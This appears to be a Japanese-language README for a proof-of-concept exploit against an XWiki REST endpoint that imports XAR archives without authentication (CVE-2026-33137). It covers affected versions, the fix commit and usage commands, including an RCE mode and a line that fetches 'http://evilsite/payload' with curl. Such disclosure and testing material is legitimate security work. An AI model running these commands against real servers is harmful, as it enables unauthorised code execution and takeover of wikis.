
XWiki Platform - CVE-2026-33137 PoC - Unauthenticated XAR Import via REST /wikis/{wikiName}
XWiki Platform - REST /wikis/{wikiName} 経由の認証なしXARインポート
XWiki Platform の POST /wikis/{wikiName} REST API エンドポイントは、認証チェックや認可チェックを一切行わずにXAR(XWiki Archive)インポートを実行します。認証されていない攻撃者は、細工したXARファイルを送信することで、対象のwiki内に任意のドキュメントを作成または更新できます。
AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| ステータス | バージョン |
|---|---|
| 影響あり | > 15.10.16, > 16.4.6, > 16.10.2 |
| 修正済み | 16.10.17, 17.4.9, 17.10.3, 18.0.1, 18.1.0-rc-1 |
認証されていない攻撃者は以下が可能です:
RESTエンドポイント POST /xwiki/rest/wikis/{wikiName} は、リクエストボディ内のXARファイルを受け入れ、リクエスト元がADMIN権限を持っているかどうかを確認せずに、そのファイルをwikiへ直接インポートします。修正(コミット 4b7b95b)では、ContextualAuthorizationManager.checkAccess(Right.ADMIN, ...) を使用した認可チェックが追加されています。
# Install requirements
pip install requests
# Basic usage
python poc.py -t http://target:8080
# Specify wiki, space, and page names
python poc.py -t http://target:8080 -w xwiki -s MySpace -p MyPage
# Probe the target first
python poc.py -t http://target:8080 --probe
# Use a proxy (e.g., Burp Suite)
python poc.py -t http://target:8080 --proxy http://127.0.0.1:8080
# Custom content
python poc.py -t http://target:8080 -c "Proof of Concept"
# RCE mode: execute a command on the target server
python poc.py -t http://target:8080 --rce "id"
# RCE with authenticated triggering (if credentials are available)
python poc.py -t http://target:8080 --rce "curl http://evilsite/payload" -u admin --password pass
--rce)--rce フラグは、指定されたコマンド文字列を実行するGroovyおよびVelocityペイロードを含むページをインポートします。自動的に以下を実行します:
{{groovy}} および {{velocity}} マクロに埋め込んだページをインポートしますRCEを成功させるための要件:
-u / --password で認証情報を提供)package.xml - パッケージ記述子{Space}/{Page}.xml - コンテンツを含むドキュメントXMLこのPoCは、教育および許可されたセキュリティテストの目的でのみ提供されます。所有していない、または明示的なテスト許可がないシステムに対する本エクスプロイトの無許可使用は違法です。作者は、本ソフトウェアによって引き起こされた誤用や損害について一切の責任を負いません。